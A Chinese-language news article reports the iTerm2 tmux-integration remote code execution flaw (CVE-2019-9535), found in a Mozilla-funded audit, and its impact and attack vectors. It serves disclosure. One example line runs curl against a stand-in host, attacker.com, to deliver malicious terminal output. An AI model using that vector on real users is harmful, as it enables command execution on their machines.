Mac终端利器 iTerm2被曝严重的RCE漏洞，至少已存在7年（含PoC视频）

FB客服

发布于 2019-10-15 16:50:58

7500

发布于 2019-10-15 16:50:58

文章被收录于专栏：FreeBuf FreeBufFreeBuf

由Mozilla开源支持计划(MOSS)资助、网络安全公司Radically Open Security(ROS)开展的一次独立安全审计结果显示，iTerm 2 中存在一个严重的远程代码执行(RCE)漏洞，且至少已存在7年。

iTerm 2 简介

iTerm2是全球最热门的终端模拟器之一，是开发人员经常使用的MacOS 终端工具，是Mac内置终端app最有力的热门开源工具替代品之一，被很多开发人员称为“Mac 终端利器”。

MOSS 计划选择iTerm2进行安全审计的原因在于它处理不受信任的数据且其使用范围广泛，用户包括高风险目标如开发人员和系统管理员。

漏洞概述

该漏洞的CVE编号是CVE-2019-9535。

在审计过程中，ROS在iTerm2的tmux集成功能中找到了一个至少已存在7年之久的严重漏洞。攻击者如能生成终端输出，则在很多情况下能够在用户计算机上执行命令。这种攻击向量的例子是连接到由攻击者控制的 SSH 服务器或者命令如curl http://attacker.com and tail -f /var/log/apache2/referer_log。

开发人员George Nachman指出，“审计发现某个问题在收到一定的输入后会导致iTerm2发出命令。这个问题非常严重，因为在某些情况下，当用户查看文件或者接收在iTerm2构造的输入时，攻击者就能够在用户机器上执行代码。”

Nachman认为该漏洞影响的iTerm2用户数量介于10万至20万之间。

Mozilla公司的安全工程师Tom Ritter指出，这个漏洞源自iTerm2中的 tmux集成功能。Tumx应用程序是一款终端多路复用器，可允许从单个设备创建并控制多个终端。

CERT协调中心发布漏洞通知表示，可通过使用命令行工具在终端屏幕上打印由攻击者控制的内容，从而利用该漏洞。该中心指出，“潜在的攻击向量包括通过ssh连接至恶意服务器，通过curl 获取恶意网站，或者通过tail –f跟踪包含某些恶意内容的日志文件。”

如下是模拟受害者机器连接到恶意SSH服务器之后，在机器上执行命令的 PoC视频。在这个案例中，只打开一个计算器作为其它更具恶意的命令的占位符。

一般情况下，该漏洞需要某些用户交互或伎俩才能遭触发，但由于它可通过通常被认为是安全的命令利用，因此它的潜在影响力巨大。